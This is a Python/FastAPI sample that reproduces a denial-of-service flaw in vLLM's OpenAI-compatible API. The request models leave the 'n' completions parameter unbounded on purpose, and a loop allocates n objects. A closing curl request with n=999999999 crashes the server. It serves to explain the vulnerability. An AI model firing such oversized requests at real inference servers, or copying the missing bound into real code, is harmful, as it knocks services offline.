Vulnerable code sample

# This code is a representation of the vulnerable logic found in vLLM versions
# prior to 0.19.0, as described in CVE-2026-34756.
# It is a simplified, self-contained example using FastAPI to demonstrate
# how an unbounded 'n' parameter in a Pydantic model can lead to a DoS.

import asyncio
from typing import List, Dict, Optional, Union

from fastapi import FastAPI
from pydantic import BaseModel, Field

# --- Pydantic Models (Representation of vulnerable code in vllm/entrypoints/openai/protocol.py) ---

# In the vulnerable versions, the 'n' parameter lacked an upper-bound validation.
# A Pydantic Field validator like `Field(..., le=MAX_N)` was missing.

class ChatCompletionRequest(BaseModel):
    model: str
    messages: List[Dict[str, str]]
    temperature: Optional[float] = 0.7
    top_p: Optional[float] = 1.0
    n: int = 1  # VULNERABLE: No upper bound on the number of completions to generate.
    max_tokens: Optional[int] = 16
    stream: Optional[bool] = False


class CompletionRequest(BaseModel):
    model: str
    prompt: Union[str, List[str]]
    n: int = 1  # VULNERABLE: No upper bound on the number of completions to generate.
    max_tokens: Optional[int] = 16
    stream: Optional[bool] = False


# --- FastAPI Server (Representation of vulnerable logic in vllm/entrypoints/openai/api_server.py) ---

app = FastAPI()

@app.post("/v1/chat/completions")
async def create_chat_completion(request: ChatCompletionRequest):
    """
    This endpoint simulates the vulnerable behavior.
    Before the request is passed to the vLLM engine's scheduler,
    the server prepares to handle `n` completions.
    """
    # The vulnerability occurs here. The code attempts to create 'n'
    # objects or perform 'n' operations based on the user-provided value.
    # An astronomically large 'n' will cause the server to try and allocate
    # a huge list, blocking the event loop and leading to an Out-Of-Memory crash.
    
    # Simulate the pre-processing that creates multiple request objects.
    # This list would contain internal request representations.
    internal_requests_to_process = []
    
    print(f"Received request to generate {request.n} completions.")
    
    try:
        # This loop is the immediate cause of the DoS.
        # With a large `n` (e.g., 999999999), this loop will block everything
        # and attempt to allocate an immense amount of memory.
        for i in range(request.n):
            # In the real code, this would create more complex internal objects.
            # Even appending a simple dict demonstrates the memory exhaustion.
            internal_requests_to_process.append({
                "internal_id": i,
                "prompt": request.messages,
                "params": {
                    "temperature": request.temperature,
                    "top_p": request.top_p,
                }
            })
            # To make the event-loop blocking more obvious, we can add a small sleep(0)
            # which would yield control, but the sheer number of iterations prevents
            # other coroutines from running. The main issue is memory allocation.
            if i % 10000 == 0:
                await asyncio.sleep(0)

    except MemoryError:
        # In a real scenario, the process would likely be killed by the OS
        # before this exception could be gracefully handled.
        print("FATAL: MemoryError caught. The server is likely unresponsive.")
        # This return would likely never be reached.
        return {"error": "Out of Memory"}

    # This part of the code is never reached if 'n' is large.
    print(f"Successfully prepared {len(internal_requests_to_process)} internal requests. Proceeding to scheduler.")
    
    return {
        "id": "chatcmpl-123",
        "object": "chat.completion",
        "created": 1677652288,
        "model": request.model,
        "choices": [{
            "index": i,
            "message": {
                "role": "assistant",
                "content": f"\n\nThis is a mock completion {i+1}.",
            },
            "finish_reason": "stop",
        } for i in range(request.n)], # This would also be part of the problem.
        "usage": {
            "prompt_tokens": 0,
            "completion_tokens": 0,
            "total_tokens": 0,
        },
    }

# To run this example:
# 1. Install necessary packages: `pip install fastapi "uvicorn[standard]"`
# 2. Save the code as `vulnerable_server.py`
# 3. Run the server: `uvicorn vulnerable_server.py:app --host 0.0.0.0 --port 8000`
# 4. Send a malicious request:
#    curl http://localhost:8000/v1/chat/completions -X POST -H "Content-Type: application/json" \
#    -d '{"model": "test-model", "messages": [{"role": "user", "content": "Hello"}], "n": 999999999}'
#
# The server will immediately hang and its memory usage will skyrocket, leading to a crash.